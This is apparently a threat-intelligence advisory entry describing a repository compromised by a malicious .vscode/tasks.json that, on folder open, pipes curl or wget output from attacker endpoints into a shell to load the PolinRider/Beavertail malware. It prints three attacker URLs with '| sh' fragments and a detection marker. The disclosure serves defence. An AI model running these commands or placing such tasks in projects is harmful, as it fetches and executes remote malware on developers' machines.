GCVE-110-OSM-2026-1839

Repository compromised by the PolinRider / TasksJacker DPRK threat actor (Lazarus, Contagious Interview cluster). A weaponized .vscode/tasks.json file was found at .vscode/tasks.json that executes 'curl | bash' or 'wget | sh' against an attacker-controlled Vercel/Render/Railway endpoint on VS Code folderOpen. This is the TasksJacker side of the PolinRider campaign — previously tracked separately, now operationally merged. The payload fetched from the C2 is the obfuscated PolinRider JavaScript loader that performs blockchain dead-drop C2 (TRON/Aptos/BSC) and XOR-decrypts a Beavertail second-stage loader. TasksJacker vscode/tasks.json payload found in: .vscode/tasks.json malicious URLs in tasks.json: https://tailwind-version-4.vercel.app/tailwindlabs/tailwindcss?releases=4.2.204&platform=linux' | sh;https://tailwind-version-4.vercel.app/tailwindlabs/tailwindcss?releases=4.2.204&platform=mac' | sh;https://tailwind-version-4.vercel.app/tailwindlabs/tailwindcss?releases=4.2.204&platform=windows\ Detected markers: vscode-tasks-curl-sh Behavior: runOn=folderOpen task executes curl/wget piped to shell against an attacker-controlled endpoint; fetched shell script bootstraps the PolinRider JS loader.